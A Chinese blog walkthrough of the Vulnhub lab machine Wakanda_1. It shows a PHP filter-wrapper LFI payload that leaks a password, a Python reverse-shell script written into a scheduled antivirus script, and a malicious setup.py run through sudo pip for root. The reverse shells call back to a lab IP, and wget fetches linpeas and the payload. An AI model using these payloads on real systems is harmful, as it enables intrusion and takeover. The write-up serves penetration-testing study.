【甄选靶场】Vulnhub百个项目渗透——项目二十二:Wakanda_1(LFI本地文件包含,pip提权)

Vulnhub百个项目渗透

Vulnhub百个项目渗透——项目二十二:Wakanda_1(LFI本地文件包含,pip提权)

靶场地址


🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月24日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!


前言

本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


一、梳理流程

  1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
  2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
  3. 二次收集(基于已得到的服务或者主机再次信息收集)
  4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
  5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

二、信息收集

nmap -sS -sV -A -T5 192.168.247.129   --针对扫
namp 192.l68.247.129     --大概扫

在这里插入图片描述

得到了如下得信息,其中需要注意在不同模式的nmap扫描下,这个3333端口可能会出现不同的情况,对于这种存疑的端口我们要针对性的扫描

80/tcp   open  http      ---web页面的信息收集
111/tcp  open  rpcbind     ---
3333/tcp ssh  openssh

按照思路我们先进行web页面的信息收集

在这里插入图片描述

就这一个页面,首先进来了以后,就能看到一个用户信息,我们记下来。这是一个已知用户,可能可以用在ssh得登陆上,接下来就要多关注一下密码的寻找

首先进行页面的信息枚举:

curl http://192.168.247.152 
dirb http://192.168.247.152
nikto -h 192.168.247.192
还可以再用gobuster再爆破一下目录

在这里插入图片描述

`爆破半天啥有用得东西都没得

那就查看一下页面源码,发现了如下的一句话,给出了提示;我们把这个传参得部分输入进去,看看会发生什么

在这里插入图片描述

三、web突破

变成了法语,同时看到这个url,存在传参得部分,我们应该敏锐的察觉到这里极有可能存在两个问题

1.sql注入
2.LFI本地文件包含

经过测试,sql注入不存在,因为sqlmap跑了半个小时吧,没啥动静,也就没有再去看

在这里插入图片描述

1.验证文件包含

这里可以使用burpsuit也可以使用curl但是不建议使用浏览器硬刚,因为有些东西可能不显示

在这里插入图片描述

可以看到左边的访问index得显示异常,但是fr得页面就正常
这就非常有可能是存在文件包含得情况
然后就是利用php伪协议

2.PHP伪协议利用

curl http://192.168.247.152/?lang=php://filter/convert.base64-encode/resource=index | head -n 1 | base64 -d

执行完上面得命令以后,会自动解码base64,显示出一个php代码,里面有密码,如果不出意外得话,这个密码就是mamadou得密码(我们刚才页面收集出来的),然后就登录,要注意,这台机器用的3333端口开的ssh服务

在这里插入图片描述

看到是一个python解释器类型的shell,不要慌,直接干

import pty
pty.spawm ("/bin/bash")

在这里插入图片描述

四、提权

1.二次信息收集

上传提权信息收集三脚本

本地开启
python -m http.server 8082
靶场下载利用
wget http://192.168.247.129:8081/linpeas.sh

得到如下信息

Linux version 3.16.0-6-amd64
Sudo version 1.8.10p3 uid=1001(devops)
gid=1002(developer) groups=1002(developer) ----这个用户得组权限是可以执行pip得用户,估计就是要登陆到这个用户里

唯一一个橘红得标识问题还是那个developer用户得权限,不过这里也给我们指明了方向,这把应该是pip提权,我们就要再次收集信息或者里用什么方法登录到这个debeloper的用户里,就可以执行pip了

在这里插入图片描述

双筛选文件搜索
find / -user mamadou 2>&1 | grep -v "Permission denied\|proc"
/   ---反斜杠从根目录开始查询
-user mamadou  ---搜索普通该用户权限的文件
2>&1   ----将所有错误信息重定向不输出过滤掉
-v   ---就是错误的输出过滤
就是搜索出这个mamadou用户可以访问得东西

在这里插入图片描述

find / -user devops 2>&1 | grep -v "Permission denied\|proc"

得到如下的可疑文件

/srv/.antivirus.py
/tmp/test
/home/devops/flag2.txt

find / -name *antivirus* 2>/dev.null | grep -v "permission denied\|proc"
找关于这个antivirus的有关的有权限执行的文件

在这里插入图片描述cat /lib/systemd/system/antivirus.service

在这里插入图片描述

这里发现是devops用户执行的,每300秒执行一次,那么我们现在就是要把反弹端口的命令写到执行这个任务的py脚本中

nano  /srv/.antivirus.py
打开编辑如下的代码,修改自己的IP
#!/usr/bin/python
def con():
	import socket, time,pty, os
	host='192.168.247.129'
	port=9999
	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.settimeout(10)
	s.connect((host,port))
	os.dup2(s.fileno(),0)
	os.dup2(s.fileno(),1)
	os.dup2(s.fileno(),2)
	os.putenv("HISTFILE",'/dev/null')
	pty.spawn("/bin/bash")
	s.close()
con()

然后打开一个对应的端口监听着就行,趁还有一会,我们试一下内核版本提权
谷歌直接搜这个对应的linux的 exp,官网知道了漏洞编号,也有用法,我们就试验一下
同样也是用wget传输

2.内核提权

在这里插入图片描述

利用失败

3.pip提权

在有些linux机器中,某个用户拥有pip的sudo权限,在这种情况下,可以利用pip install进行本地提权。 在执行pip
install时会调用setup.py,可以在本地创建恶意setup.py文件来达到任意命令执行的效果

在这里插入图片描述

这个时候我们拿到了这个用户的反弹shell

sudo -l
这个也告诉我们pip可以,那么接下来就是要写一个setup,py然后pip执行应该就能提权

在这里插入图片描述

在这里插入图片描述----------

本地监听
nc -tvlp 9900
-------------------------脚本部分-------------------------
from setuptools import setup   #加入

def con():
	import socket, time,pty, os
	host='192.168.247.129'
	port=9900
	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.settimeout(10)
	s.connect((host,port))
	os.dup2(s.fileno(),0)
	os.dup2(s.fileno(),1)
	os.dup2(s.fileno(),2)
	os.putenv("HISTFILE",'/dev/null')
	pty.spawn("/bin/bash")
	s.close()
con()

setup(name="hahahaha", version="1.0")  #加入
--------------------------------------------------------------
上传
wget http://10.211.55.19:8081/setup.py


sudo /usr/bin/pip install . --upgrade --force-reinstall

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值